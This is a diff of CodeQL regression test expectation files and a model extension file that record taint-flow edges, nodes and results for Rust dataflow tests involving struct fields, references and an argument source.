+| main.rs:287:16:287:16 | [post] i | main.rs:288:10:288:10 | i | provenance |  |
 nodes
 | main.rs:15:9:15:9 | s | semmle.label | s |
 | main.rs:15:9:15:9 | s | semmle.label | s |
@@ -337,6 +355,20 @@ nodes
 | main.rs:109:10:109:36 | get_struct_field(...) | semmle.label | get_struct_field(...) |
 | main.rs:109:27:109:35 | my_struct [MyStruct.field1] | semmle.label | my_struct [MyStruct.field1] |
 | main.rs:109:27:109:35 | my_struct [MyStruct.field1] | semmle.label | my_struct [MyStruct.field1] |
+| main.rs:126:9:126:9 | s | semmle.label | s |
+| main.rs:126:9:126:9 | s | semmle.label | s |
+| main.rs:126:13:126:21 | source(...) | semmle.label | source(...) |
+| main.rs:126:13:126:21 | source(...) | semmle.label | source(...) |
+| main.rs:127:9:127:17 | my_struct [MyStruct.field2] | semmle.label | my_struct [MyStruct.field2] |
+| main.rs:127:9:127:17 | my_struct [MyStruct.field2] | semmle.label | my_struct [MyStruct.field2] |
+| main.rs:127:21:127:39 | set_struct_field(...) [MyStruct.field2] | semmle.label | set_struct_field(...) [MyStruct.field2] |
+| main.rs:127:21:127:39 | set_struct_field(...) [MyStruct.field2] | semmle.label | set_struct_field(...) [MyStruct.field2] |
+| main.rs:127:38:127:38 | s | semmle.label | s |
+| main.rs:127:38:127:38 | s | semmle.label | s |
+| main.rs:129:10:129:18 | my_struct [MyStruct.field2] | semmle.label | my_struct [MyStruct.field2] |
+| main.rs:129:10:129:18 | my_struct [MyStruct.field2] | semmle.label | my_struct [MyStruct.field2] |
+| main.rs:129:10:129:25 | my_struct.field2 | semmle.label | my_struct.field2 |
+| main.rs:129:10:129:25 | my_struct.field2 | semmle.label | my_struct.field2 |
 | main.rs:138:9:138:9 | s | semmle.label | s |
 | main.rs:138:9:138:9 | s | semmle.label | s |
 | main.rs:138:13:138:21 | source(...) | semmle.label | source(...) |
@@ -511,6 +543,12 @@ nodes
 | main.rs:279:5:279:15 | simple_sink | semmle.label | simple_sink |
 | main.rs:279:17:279:17 | s | semmle.label | s |
 | main.rs:279:17:279:17 | s | semmle.label | s |
+| main.rs:287:5:287:14 | arg_source | semmle.label | arg_source |
+| main.rs:287:5:287:14 | arg_source | semmle.label | arg_source |
+| main.rs:287:16:287:16 | [post] i | semmle.label | [post] i |
+| main.rs:287:16:287:16 | [post] i | semmle.label | [post] i |
+| main.rs:288:10:288:10 | i | semmle.label | i |
+| main.rs:288:10:288:10 | i | semmle.label | i |
 subpaths
 | main.rs:195:23:195:23 | f [captured s] | main.rs:194:40:194:40 | s | main.rs:194:17:194:42 | if ... {...} else {...} | main.rs:195:13:195:24 | apply(...) |
 | main.rs:195:23:195:23 | f [captured s] | main.rs:194:40:194:40 | s | main.rs:194:17:194:42 | if ... {...} else {...} | main.rs:195:13:195:24 | apply(...) |
@@ -532,6 +570,8 @@ invalidSpecComponent
 | main.rs:89:47:89:47 | i | main.rs:85:13:85:21 | source(...) | main.rs:89:47:89:47 | i | $@ | main.rs:85:13:85:21 | source(...) | source(...) |
 | main.rs:109:10:109:36 | get_struct_field(...) | main.rs:104:13:104:21 | source(...) | main.rs:109:10:109:36 | get_struct_field(...) | $@ | main.rs:104:13:104:21 | source(...) | source(...) |
 | main.rs:109:10:109:36 | get_struct_field(...) | main.rs:104:13:104:21 | source(...) | main.rs:109:10:109:36 | get_struct_field(...) | $@ | main.rs:104:13:104:21 | source(...) | source(...) |
+| main.rs:129:10:129:25 | my_struct.field2 | main.rs:126:13:126:21 | source(...) | main.rs:129:10:129:25 | my_struct.field2 | $@ | main.rs:126:13:126:21 | source(...) | source(...) |
+| main.rs:129:10:129:25 | my_struct.field2 | main.rs:126:13:126:21 | source(...) | main.rs:129:10:129:25 | my_struct.field2 | $@ | main.rs:126:13:126:21 | source(...) | source(...) |
 | main.rs:139:10:139:31 | get_array_element(...) | main.rs:138:13:138:21 | source(...) | main.rs:139:10:139:31 | get_array_element(...) | $@ | main.rs:138:13:138:21 | source(...) | source(...) |
 | main.rs:139:10:139:31 | get_array_element(...) | main.rs:138:13:138:21 | source(...) | main.rs:139:10:139:31 | get_array_element(...) | $@ | main.rs:138:13:138:21 | source(...) | source(...) |
 | main.rs:150:10:150:15 | arr[0] | main.rs:148:13:148:21 | source(...) | main.rs:150:10:150:15 | arr[0] | $@ | main.rs:148:13:148:21 | source(...) | source(...) |
@@ -560,3 +600,5 @@ invalidSpecComponent
 | main.rs:271:10:271:10 | s | main.rs:270:13:270:25 | simple_source | main.rs:271:10:271:10 | s | $@ | main.rs:270:13:270:25 | simple_source | simple_source |
 | main.rs:279:5:279:15 | simple_sink | main.rs:278:13:278:22 | source(...) | main.rs:279:5:279:15 | simple_sink | $@ | main.rs:278:13:278:22 | source(...) | source(...) |
 | main.rs:279:5:279:15 | simple_sink | main.rs:278:13:278:22 | source(...) | main.rs:279:5:279:15 | simple_sink | $@ | main.rs:278:13:278:22 | source(...) | source(...) |
+| main.rs:288:10:288:10 | i | main.rs:287:5:287:14 | arg_source | main.rs:288:10:288:10 | i | $@ | main.rs:287:5:287:14 | arg_source | arg_source |
+| main.rs:288:10:288:10 | i | main.rs:287:5:287:14 | arg_source | main.rs:288:10:288:10 | i | $@ | main.rs:287:5:287:14 | arg_source | arg_source |
diff --git a/rust/ql/test/library-tests/dataflow/models/models.ext.yml b/rust/ql/test/library-tests/dataflow/models/models.ext.yml
index 3ad18be99fc1..9a9fa9e96ac4 100644
--- a/rust/ql/test/library-tests/dataflow/models/models.ext.yml
+++ b/rust/ql/test/library-tests/dataflow/models/models.ext.yml
@@ -6,6 +6,7 @@ extensions:
       - ["repo::test", "crate::simple_source", "ReturnValue", "test-source", "manual"]
       - ["repo::test", "crate::enum_source", "ReturnValue.Field[crate::MyFieldEnum::D::field_d]", "test-source", "manual"]
       - ["repo::test", "<crate::MyFieldEnum>::source", "ReturnValue.Field[crate::MyFieldEnum::C::field_c]", "test-source", "manual"]
+      - ["repo::test", "crate::arg_source", "Argument[0]", "test-source", "manual"]
   - addsTo:
       pack: codeql/rust-all
       extensible: sinkModel
diff --git a/rust/ql/test/library-tests/dataflow/pointers/inline-flow.expected b/rust/ql/test/library-tests/dataflow/pointers/inline-flow.expected
index 66d5c1ad666a..450d33d39986 100644
--- a/rust/ql/test/library-tests/dataflow/pointers/inline-flow.expected
+++ b/rust/ql/test/library-tests/dataflow/pointers/inline-flow.expected
@@ -1,154 +1,301 @@
 models
 edges
-| main.rs:13:9:13:9 | a | main.rs:14:14:14:14 | a | provenance |  |
-| main.rs:13:13:13:22 | source(...) | main.rs:13:9:13:9 | a | provenance |  |
-| main.rs:14:9:14:9 | b [&ref] | main.rs:15:14:15:14 | b [&ref] | provenance |  |
-| main.rs:14:13:14:14 | &a [&ref] | main.rs:14:9:14:9 | b [&ref] | provenance |  |
-| main.rs:14:14:14:14 | a | main.rs:14:13:14:14 | &a [&ref] | provenance |  |
-| main.rs:15:9:15:9 | c | main.rs:16:10:16:10 | c | provenance |  |
-| main.rs:15:13:15:14 | * ... | main.rs:15:9:15:9 | c | provenance |  |
-| main.rs:15:14:15:14 | b [&ref] | main.rs:15:13:15:14 | * ... | provenance |  |
-| main.rs:31:6:31:6 | [post] b [&ref] | main.rs:32:11:32:11 | b [&ref] | provenance |  |
-| main.rs:31:10:31:19 | source(...) | main.rs:31:6:31:6 | [post] b [&ref] | provenance |  |
-| main.rs:32:11:32:11 | b [&ref] | main.rs:32:10:32:11 | * ... | provenance |  |
-| main.rs:37:25:37:26 | &... [&ref] | main.rs:37:26:37:26 | n | provenance |  |
-| main.rs:37:25:37:32 | ...: ... [&ref] | main.rs:37:25:37:26 | &... [&ref] | provenance |  |
-| main.rs:37:26:37:26 | n | main.rs:38:10:38:10 | n | provenance |  |
-| main.rs:42:9:42:11 | val | main.rs:43:27:43:29 | val | provenance |  |
-| main.rs:42:15:42:24 | source(...) | main.rs:42:9:42:11 | val | provenance |  |
-| main.rs:43:26:43:29 | &val [&ref] | main.rs:37:25:37:32 | ...: ... [&ref] | provenance |  |
-| main.rs:43:27:43:29 | val | main.rs:43:26:43:29 | &val [&ref] | provenance |  |
-| main.rs:50:13:50:13 | a | main.rs:51:13:51:17 | ref p | provenance |  |
-| main.rs:50:17:50:26 | source(...) | main.rs:50:13:50:13 | a | provenance |  |
-| main.rs:51:13:51:17 | ref p | main.rs:51:17:51:17 | p [&ref] | provenance |  |
-| main.rs:51:17:51:17 | p [&ref] | main.rs:52:15:52:15 | p [&ref] | provenance |  |
-| main.rs:52:15:52:15 | p [&ref] | main.rs:52:14:52:15 | * ... | provenance |  |
-| main.rs:56:13:56:21 | ref mut a | main.rs:56:21:56:21 | a [&ref] | provenance |  |
-| main.rs:56:21:56:21 | a [&ref] | main.rs:57:15:57:15 | a [&ref] | provenance |  |
-| main.rs:56:25:56:34 | source(...) | main.rs:56:13:56:21 | ref mut a | provenance |  |
-| main.rs:57:15:57:15 | a [&ref] | main.rs:57:14:57:15 | * ... | provenance |  |
-| main.rs:63:13:63:13 | a [Some] | main.rs:64:23:64:23 | a [Some] | provenance |  |
-| main.rs:63:17:63:32 | Some(...) [Some] | main.rs:63:13:63:13 | a [Some] | provenance |  |
-| main.rs:63:22:63:31 | source(...) | main.rs:63:17:63:32 | Some(...) [Some] | provenance |  |
-| main.rs:64:23:64:23 | a [Some] | main.rs:65:13:65:23 | Some(...) [Some] | provenance |  |
-| main.rs:65:13:65:23 | Some(...) [Some] | main.rs:65:18:65:22 | ref p | provenance |  |
-| main.rs:65:18:65:22 | ref p | main.rs:65:22:65:22 | p [&ref] | provenance |  |
-| main.rs:65:22:65:22 | p [&ref] | main.rs:65:34:65:34 | p [&ref] | provenance |  |
-| main.rs:65:34:65:34 | p [&ref] | main.rs:65:33:65:34 | * ... | provenance |  |
-| main.rs:76:18:76:21 | SelfParam [MyNumber] | main.rs:77:15:77:18 | self [MyNumber] | provenance |  |
-| main.rs:77:15:77:18 | self [MyNumber] | main.rs:78:13:78:38 | ...::MyNumber(...) [MyNumber] | provenance |  |
-| main.rs:78:13:78:38 | ...::MyNumber(...) [MyNumber] | main.rs:78:32:78:37 | number | provenance |  |
-| main.rs:78:32:78:37 | number | main.rs:76:31:80:5 | { ... } | provenance |  |
-| main.rs:82:19:82:23 | SelfParam [&ref, MyNumber] | main.rs:83:15:83:18 | self [&ref, MyNumber] | provenance |  |
-| main.rs:83:15:83:18 | self [&ref, MyNumber] | main.rs:84:13:84:39 | &... [&ref, MyNumber] | provenance |  |
-| main.rs:84:13:84:39 | &... [&ref, MyNumber] | main.rs:84:14:84:39 | ...::MyNumber(...) [MyNumber] | provenance |  |
-| main.rs:84:14:84:39 | ...::MyNumber(...) [MyNumber] | main.rs:84:33:84:38 | number | provenance |  |
-| main.rs:84:33:84:38 | number | main.rs:82:33:86:5 | { ... } | provenance |  |
-| main.rs:90:9:90:17 | my_number [MyNumber] | main.rs:91:10:91:18 | my_number [MyNumber] | provenance |  |
-| main.rs:90:21:90:50 | ...::MyNumber(...) [MyNumber] | main.rs:90:9:90:17 | my_number [MyNumber] | provenance |  |
-| main.rs:90:40:90:49 | source(...) | main.rs:90:21:90:50 | ...::MyNumber(...) [MyNumber] | provenance |  |
-| main.rs:91:10:91:18 | my_number [MyNumber] | main.rs:76:18:76:21 | SelfParam [MyNumber] | provenance |  |
-| main.rs:91:10:91:18 | my_number [MyNumber] | main.rs:91:10:91:30 | my_number.to_number(...) | provenance |  |
-| main.rs:100:9:100:17 | my_number [&ref, MyNumber] | main.rs:101:10:101:18 | my_number [&ref, MyNumber] | provenance |  |
-| main.rs:100:21:100:51 | &... [&ref, MyNumber] | main.rs:100:9:100:17 | my_number [&ref, MyNumber] | provenance |  |
-| main.rs:100:22:100:51 | ...::MyNumber(...) [MyNumber] | main.rs:100:21:100:51 | &... [&ref, MyNumber] | provenance |  |
-| main.rs:100:41:100:50 | source(...) | main.rs:100:22:100:51 | ...::MyNumber(...) [MyNumber] | provenance |  |
-| main.rs:101:10:101:18 | my_number [&ref, MyNumber] | main.rs:82:19:82:23 | SelfParam [&ref, MyNumber] | provenance |  |
-| main.rs:101:10:101:18 | my_number [&ref, MyNumber] | main.rs:101:10:101:31 | my_number.get_number(...) | provenance |  |
-| main.rs:105:9:105:9 | a [&ref, tuple.0] | main.rs:108:19:108:19 | a [&ref, tuple.0] | provenance |  |
-| main.rs:105:13:105:28 | &... [&ref, tuple.0] | main.rs:105:9:105:9 | a [&ref, tuple.0] | provenance |  |
-| main.rs:105:14:105:28 | TupleExpr [tuple.0] | main.rs:105:13:105:28 | &... [&ref, tuple.0] | provenance |  |
-| main.rs:105:15:105:24 | source(...) | main.rs:105:14:105:28 | TupleExpr [tuple.0] | provenance |  |
-| main.rs:108:9:108:9 | b | main.rs:111:10:111:10 | b | provenance |  |
-| main.rs:108:19:108:19 | a [&ref, tuple.0] | main.rs:109:9:109:15 | &... [&ref, tuple.0] | provenance |  |
-| main.rs:109:9:109:15 | &... [&ref, tuple.0] | main.rs:109:10:109:15 | TuplePat [tuple.0] | provenance |  |
-| main.rs:109:10:109:15 | TuplePat [tuple.0] | main.rs:109:11:109:11 | n | provenance |  |
-| main.rs:109:11:109:11 | n | main.rs:108:9:108:9 | b | provenance |  |
+| main.rs:17:13:17:13 | a | main.rs:18:18:18:18 | a | provenance |  |
+| main.rs:17:17:17:26 | source(...) | main.rs:17:13:17:13 | a | provenance |  |
+| main.rs:18:13:18:13 | b [&ref] | main.rs:19:18:19:18 | b [&ref] | provenance |  |
+| main.rs:18:17:18:18 | &a [&ref] | main.rs:18:13:18:13 | b [&ref] | provenance |  |
+| main.rs:18:18:18:18 | a | main.rs:18:17:18:18 | &a [&ref] | provenance |  |
+| main.rs:19:13:19:13 | c | main.rs:20:14:20:14 | c | provenance |  |
+| main.rs:19:17:19:18 | * ... | main.rs:19:13:19:13 | c | provenance |  |
+| main.rs:19:18:19:18 | b [&ref] | main.rs:19:17:19:18 | * ... | provenance |  |
+| main.rs:23:29:23:30 | &... [&ref] | main.rs:23:30:23:30 | n | provenance |  |
+| main.rs:23:29:23:36 | ...: ... [&ref] | main.rs:23:29:23:30 | &... [&ref] | provenance |  |
+| main.rs:23:30:23:30 | n | main.rs:24:14:24:14 | n | provenance |  |
+| main.rs:28:13:28:15 | val | main.rs:29:31:29:33 | val | provenance |  |
+| main.rs:28:19:28:28 | source(...) | main.rs:28:13:28:15 | val | provenance |  |
+| main.rs:29:30:29:33 | &val [&ref] | main.rs:23:29:23:36 | ...: ... [&ref] | provenance |  |
+| main.rs:29:31:29:33 | val | main.rs:29:30:29:33 | &val [&ref] | provenance |  |
+| main.rs:33:13:33:13 | a [&ref, tuple.0] | main.rs:36:23:36:23 | a [&ref, tuple.0] | provenance |  |
+| main.rs:33:17:33:32 | &... [&ref, tuple.0] | main.rs:33:13:33:13 | a [&ref, tuple.0] | provenance |  |
+| main.rs:33:18:33:32 | TupleExpr [tuple.0] | main.rs:33:17:33:32 | &... [&ref, tuple.0] | provenance |  |
+| main.rs:33:19:33:28 | source(...) | main.rs:33:18:33:32 | TupleExpr [tuple.0] | provenance |  |
+| main.rs:36:13:36:13 | b | main.rs:39:14:39:14 | b | provenance |  |
+| main.rs:36:23:36:23 | a [&ref, tuple.0] | main.rs:37:13:37:19 | &... [&ref, tuple.0] | provenance |  |
+| main.rs:37:13:37:19 | &... [&ref, tuple.0] | main.rs:37:14:37:19 | TuplePat [tuple.0] | provenance |  |
+| main.rs:37:14:37:19 | TuplePat [tuple.0] | main.rs:37:15:37:15 | n | provenance |  |
+| main.rs:37:15:37:15 | n | main.rs:36:13:36:13 | b | provenance |  |
+| main.rs:51:13:51:13 | a | main.rs:52:13:52:17 | ref p | provenance |  |
+| main.rs:51:17:51:26 | source(...) | main.rs:51:13:51:13 | a | provenance |  |
+| main.rs:52:13:52:17 | ref p | main.rs:52:17:52:17 | p [&ref] | provenance |  |
+| main.rs:52:17:52:17 | p [&ref] | main.rs:53:15:53:15 | p [&ref] | provenance |  |
+| main.rs:53:15:53:15 | p [&ref] | main.rs:53:14:53:15 | * ... | provenance |  |
+| main.rs:57:13:57:13 | a [Some] | main.rs:58:15:58:15 | a [Some] | provenance |  |
+| main.rs:57:17:57:32 | Some(...) [Some] | main.rs:57:13:57:13 | a [Some] | provenance |  |
+| main.rs:57:22:57:31 | source(...) | main.rs:57:17:57:32 | Some(...) [Some] | provenance |  |
+| main.rs:58:15:58:15 | a [Some] | main.rs:59:13:59:23 | Some(...) [Some] | provenance |  |
+| main.rs:59:13:59:23 | Some(...) [Some] | main.rs:59:18:59:22 | ref p | provenance |  |
+| main.rs:59:18:59:22 | ref p | main.rs:59:22:59:22 | p [&ref] | provenance |  |
+| main.rs:59:22:59:22 | p [&ref] | main.rs:59:34:59:34 | p [&ref] | provenance |  |
+| main.rs:59:34:59:34 | p [&ref] | main.rs:59:33:59:34 | * ... | provenance |  |
+| main.rs:73:10:73:10 | [post] b [&ref] | main.rs:74:15:74:15 | b [&ref] | provenance |  |
+| main.rs:73:14:73:23 | source(...) | main.rs:73:10:73:10 | [post] b [&ref] | provenance |  |
+| main.rs:74:15:74:15 | b [&ref] | main.rs:74:14:74:15 | * ... | provenance |  |
+| main.rs:105:10:105:10 | [post] c [&ref] | main.rs:106:15:106:15 | c [&ref] | provenance |  |
+| main.rs:105:14:105:23 | source(...) | main.rs:105:10:105:10 | [post] c [&ref] | provenance |  |
+| main.rs:106:15:106:15 | c [&ref] | main.rs:106:14:106:15 | * ... | provenance |  |
+| main.rs:112:13:112:21 | ref mut a | main.rs:112:21:112:21 | a [&ref] | provenance |  |
+| main.rs:112:21:112:21 | a [&ref] | main.rs:113:15:113:15 | a [&ref] | provenance |  |
+| main.rs:112:25:112:34 | source(...) | main.rs:112:13:112:21 | ref mut a | provenance |  |
+| main.rs:113:15:113:15 | a [&ref] | main.rs:113:14:113:15 | * ... | provenance |  |
+| main.rs:149:14:149:24 | ...: MyNumber [MyNumber] | main.rs:150:11:150:11 | m [MyNumber] | provenance |  |
+| main.rs:150:11:150:11 | m [MyNumber] | main.rs:151:9:151:34 | ...::MyNumber(...) [MyNumber] | provenance |  |
+| main.rs:151:9:151:34 | ...::MyNumber(...) [MyNumber] | main.rs:151:28:151:33 | number | provenance |  |
+| main.rs:151:28:151:33 | number | main.rs:149:34:153:1 | { ... } | provenance |  |
+| main.rs:156:18:156:21 | SelfParam [MyNumber] | main.rs:157:15:157:18 | self [MyNumber] | provenance |  |
+| main.rs:157:15:157:18 | self [MyNumber] | main.rs:158:13:158:38 | ...::MyNumber(...) [MyNumber] | provenance |  |
+| main.rs:158:13:158:38 | ...::MyNumber(...) [MyNumber] | main.rs:158:32:158:37 | number | provenance |  |
+| main.rs:158:32:158:37 | number | main.rs:156:31:160:5 | { ... } | provenance |  |
+| main.rs:162:12:162:16 | SelfParam [&ref, MyNumber] | main.rs:163:15:163:18 | self [&ref, MyNumber] | provenance |  |
+| main.rs:163:15:163:18 | self [&ref, MyNumber] | main.rs:164:13:164:39 | &... [&ref, MyNumber] | provenance |  |
+| main.rs:164:13:164:39 | &... [&ref, MyNumber] | main.rs:164:14:164:39 | ...::MyNumber(...) [MyNumber] | provenance |  |
+| main.rs:164:14:164:39 | ...::MyNumber(...) [MyNumber] | main.rs:164:33:164:38 | number | provenance |  |
+| main.rs:164:33:164:38 | number | main.rs:162:26:166:5 | { ... } | provenance |  |
+| main.rs:174:13:174:21 | my_number [MyNumber] | main.rs:156:18:156:21 | SelfParam [MyNumber] | provenance |  |
+| main.rs:174:13:174:21 | my_number [MyNumber] | main.rs:175:14:175:34 | my_number.to_number(...) | provenance |  |
+| main.rs:174:25:174:54 | ...::MyNumber(...) [MyNumber] | main.rs:174:13:174:21 | my_number [MyNumber] | provenance |  |
+| main.rs:174:44:174:53 | source(...) | main.rs:174:25:174:54 | ...::MyNumber(...) [MyNumber] | provenance |  |
+| main.rs:179:13:179:21 | my_number [MyNumber] | main.rs:180:16:180:24 | my_number [MyNumber] | provenance |  |
+| main.rs:179:25:179:54 | ...::MyNumber(...) [MyNumber] | main.rs:179:13:179:21 | my_number [MyNumber] | provenance |  |
+| main.rs:179:44:179:53 | source(...) | main.rs:179:25:179:54 | ...::MyNumber(...) [MyNumber] | provenance |  |
+| main.rs:180:15:180:24 | &my_number [&ref, MyNumber] | main.rs:162:12:162:16 | SelfParam [&ref, MyNumber] | provenance |  |
+| main.rs:180:15:180:24 | &my_number [&ref, MyNumber] | main.rs:180:14:180:31 | ... .get(...) | provenance |  |
+| main.rs:180:16:180:24 | my_number [MyNumber] | main.rs:180:15:180:24 | &my_number [&ref, MyNumber] | provenance |  |
+| main.rs:184:13:184:21 | my_number [MyNumber] | main.rs:186:14:186:22 | my_number [MyNumber] | provenance |  |
+| main.rs:184:25:184:54 | ...::MyNumber(...) [MyNumber] | main.rs:184:13:184:21 | my_number [MyNumber] | provenance |  |
+| main.rs:184:44:184:53 | source(...) | main.rs:184:25:184:54 | ...::MyNumber(...) [MyNumber] | provenance |  |
+| main.rs:186:14:186:22 | my_number [MyNumber] | main.rs:162:12:162:16 | SelfParam [&ref, MyNumber] | provenance |  |
+| main.rs:186:14:186:22 | my_number [MyNumber] | main.rs:186:14:186:28 | my_number.get(...) | provenance |  |
+| main.rs:190:13:190:21 | my_number [&ref, MyNumber] | main.rs:192:14:192:22 | my_number [&ref, MyNumber] | provenance |  |
+| main.rs:190:25:190:55 | &... [&ref, MyNumber] | main.rs:190:13:190:21 | my_number [&ref, MyNumber] | provenance |  |
+| main.rs:190:26:190:55 | ...::MyNumber(...) [MyNumber] | main.rs:190:25:190:55 | &... [&ref, MyNumber] | provenance |  |
+| main.rs:190:45:190:54 | source(...) | main.rs:190:26:190:55 | ...::MyNumber(...) [MyNumber] | provenance |  |
+| main.rs:192:14:192:22 | my_number [&ref, MyNumber] | main.rs:156:18:156:21 | SelfParam [MyNumber] | provenance |  |
+| main.rs:192:14:192:22 | my_number [&ref, MyNumber] | main.rs:192:14:192:34 | my_number.to_number(...) | provenance |  |
+| main.rs:200:29:200:38 | ...: i64 | main.rs:201:14:201:18 | value | provenance |  |
+| main.rs:201:10:201:10 | [post] n [&ref] | main.rs:200:16:200:26 | ...: ... [Return] [&ref] | provenance |  |
+| main.rs:201:14:201:18 | value | main.rs:201:10:201:10 | [post] n [&ref] | provenance |  |
+| main.rs:210:17:210:17 | [post] p [&ref] | main.rs:211:15:211:15 | p [&ref] | provenance |  |
+| main.rs:210:20:210:29 | source(...) | main.rs:200:29:200:38 | ...: i64 | provenance |  |
+| main.rs:210:20:210:29 | source(...) | main.rs:210:17:210:17 | [post] p [&ref] | provenance |  |
+| main.rs:211:15:211:15 | p [&ref] | main.rs:211:14:211:15 | * ... | provenance |  |
+| main.rs:218:17:218:22 | [post] &mut n [&ref] | main.rs:218:22:218:22 | [post] n | provenance |  |
+| main.rs:218:22:218:22 | [post] n | main.rs:219:14:219:14 | n | provenance |  |
+| main.rs:218:25:218:34 | source(...) | main.rs:200:29:200:38 | ...: i64 | provenance |  |
+| main.rs:218:25:218:34 | source(...) | main.rs:218:17:218:22 | [post] &mut n [&ref] | provenance |  |
+| main.rs:223:27:223:37 | ...: i64 | main.rs:224:40:224:45 | number | provenance |  |
+| main.rs:224:14:224:17 | [post] self [&ref, MyNumber] | main.rs:223:16:223:24 | SelfParam [Return] [&ref, MyNumber] | provenance |  |
+| main.rs:224:21:224:46 | ...::MyNumber(...) [MyNumber] | main.rs:224:14:224:17 | [post] self [&ref, MyNumber] | provenance |  |
+| main.rs:224:40:224:45 | number | main.rs:224:21:224:46 | ...::MyNumber(...) [MyNumber] | provenance |  |
+| main.rs:228:37:228:47 | ...: i64 | main.rs:229:33:229:38 | number | provenance |  |
+| main.rs:229:10:229:10 | [post] n [&ref, MyNumber] | main.rs:228:19:228:34 | ...: ... [Return] [&ref, MyNumber] | provenance |  |
+| main.rs:229:14:229:39 | ...::MyNumber(...) [MyNumber] | main.rs:229:10:229:10 | [post] n [&ref, MyNumber] | provenance |  |
+| main.rs:229:33:229:38 | number | main.rs:229:14:229:39 | ...::MyNumber(...) [MyNumber] | provenance |  |
+| main.rs:234:20:234:33 | [post] &mut my_number [&ref, MyNumber] | main.rs:234:25:234:33 | [post] my_number [MyNumber] | provenance |  |
+| main.rs:234:25:234:33 | [post] my_number [MyNumber] | main.rs:235:14:235:22 | my_number [MyNumber] | provenance |  |
+| main.rs:234:25:234:33 | [post] my_number [MyNumber] | main.rs:237:14:237:22 | my_number [MyNumber] | provenance |  |
+| main.rs:234:36:234:45 | source(...) | main.rs:228:37:228:47 | ...: i64 | provenance |  |
+| main.rs:234:36:234:45 | source(...) | main.rs:234:20:234:33 | [post] &mut my_number [&ref, MyNumber] | provenance |  |
+| main.rs:235:14:235:22 | my_number [MyNumber] | main.rs:162:12:162:16 | SelfParam [&ref, MyNumber] | provenance |  |
+| main.rs:235:14:235:22 | my_number [MyNumber] | main.rs:235:14:235:28 | my_number.get(...) | provenance |  |
+| main.rs:237:14:237:22 | my_number [MyNumber] | main.rs:162:12:162:16 | SelfParam [&ref, MyNumber] | provenance |  |
+| main.rs:237:14:237:22 | my_number [MyNumber] | main.rs:237:14:237:28 | my_number.get(...) | provenance |  |
+| main.rs:243:9:243:17 | [post] my_number [MyNumber] | main.rs:244:24:244:32 | my_number [MyNumber] | provenance |  |
+| main.rs:243:9:243:17 | [post] my_number [MyNumber] | main.rs:246:24:246:32 | my_number [MyNumber] | provenance |  |
+| main.rs:243:23:243:32 | source(...) | main.rs:223:27:223:37 | ...: i64 | provenance |  |
+| main.rs:243:23:243:32 | source(...) | main.rs:243:9:243:17 | [post] my_number [MyNumber] | provenance |  |
+| main.rs:244:24:244:32 | my_number [MyNumber] | main.rs:149:14:149:24 | ...: MyNumber [MyNumber] | provenance |  |
+| main.rs:244:24:244:32 | my_number [MyNumber] | main.rs:244:14:244:33 | to_number(...) | provenance |  |
+| main.rs:246:24:246:32 | my_number [MyNumber] | main.rs:149:14:149:24 | ...: MyNumber [MyNumber] | provenance |  |
+| main.rs:246:24:246:32 | my_number [MyNumber] | main.rs:246:14:246:33 | to_number(...) | provenance |  |
+| main.rs:252:10:252:23 | [post] &mut my_number [&ref, MyNumber] | main.rs:252:15:252:23 | [post] my_number [MyNumber] | provenance |  |
+| main.rs:252:15:252:23 | [post] my_number [MyNumber] | main.rs:253:24:253:32 | my_number [MyNumber] | provenance |  |
+| main.rs:252:15:252:23 | [post] my_number [MyNumber] | main.rs:255:24:255:32 | my_number [MyNumber] | provenance |  |
+| main.rs:252:30:252:39 | source(...) | main.rs:223:27:223:37 | ...: i64 | provenance |  |
+| main.rs:252:30:252:39 | source(...) | main.rs:252:10:252:23 | [post] &mut my_number [&ref, MyNumber] | provenance |  |
+| main.rs:253:24:253:32 | my_number [MyNumber] | main.rs:149:14:149:24 | ...: MyNumber [MyNumber] | provenance |  |
+| main.rs:253:24:253:32 | my_number [MyNumber] | main.rs:253:14:253:33 | to_number(...) | provenance |  |
+| main.rs:255:24:255:32 | my_number [MyNumber] | main.rs:149:14:149:24 | ...: MyNumber [MyNumber] | provenance |  |
+| main.rs:255:24:255:32 | my_number [MyNumber] | main.rs:255:14:255:33 | to_number(...) | provenance |  |
 nodes
-| main.rs:13:9:13:9 | a | semmle.label | a |
-| main.rs:13:13:13:22 | source(...) | semmle.label | source(...) |
-| main.rs:14:9:14:9 | b [&ref] | semmle.label | b [&ref] |
-| main.rs:14:13:14:14 | &a [&ref] | semmle.label | &a [&ref] |
-| main.rs:14:14:14:14 | a | semmle.label | a |
-| main.rs:15:9:15:9 | c | semmle.label | c |
-| main.rs:15:13:15:14 | * ... | semmle.label | * ... |
-| main.rs:15:14:15:14 | b [&ref] | semmle.label | b [&ref] |
-| main.rs:16:10:16:10 | c | semmle.label | c |
-| main.rs:31:6:31:6 | [post] b [&ref] | semmle.label | [post] b [&ref] |
-| main.rs:31:10:31:19 | source(...) | semmle.label | source(...) |
-| main.rs:32:10:32:11 | * ... | semmle.label | * ... |
-| main.rs:32:11:32:11 | b [&ref] | semmle.label | b [&ref] |
-| main.rs:37:25:37:26 | &... [&ref] | semmle.label | &... [&ref] |
-| main.rs:37:25:37:32 | ...: ... [&ref] | semmle.label | ...: ... [&ref] |
-| main.rs:37:26:37:26 | n | semmle.label | n |
-| main.rs:38:10:38:10 | n | semmle.label | n |
-| main.rs:42:9:42:11 | val | semmle.label | val |
-| main.rs:42:15:42:24 | source(...) | semmle.label | source(...) |
-| main.rs:43:26:43:29 | &val [&ref] | semmle.label | &val [&ref] |
-| main.rs:43:27:43:29 | val | semmle.label | val |
-| main.rs:50:13:50:13 | a | semmle.label | a |
-| main.rs:50:17:50:26 | source(...) | semmle.label | source(...) |
-| main.rs:51:13:51:17 | ref p | semmle.label | ref p |
-| main.rs:51:17:51:17 | p [&ref] | semmle.label | p [&ref] |
-| main.rs:52:14:52:15 | * ... | semmle.label | * ... |
-| main.rs:52:15:52:15 | p [&ref] | semmle.label | p [&ref] |
-| main.rs:56:13:56:21 | ref mut a | semmle.label | ref mut a |
-| main.rs:56:21:56:21 | a [&ref] | semmle.label | a [&ref] |
-| main.rs:56:25:56:34 | source(...) | semmle.label | source(...) |
-| main.rs:57:14:57:15 | * ... | semmle.label | * ... |
-| main.rs:57:15:57:15 | a [&ref] | semmle.label | a [&ref] |
-| main.rs:63:13:63:13 | a [Some] | semmle.label | a [Some] |
-| main.rs:63:17:63:32 | Some(...) [Some] | semmle.label | Some(...) [Some] |
-| main.rs:63:22:63:31 | source(...) | semmle.label | source(...) |
-| main.rs:64:23:64:23 | a [Some] | semmle.label | a [Some] |
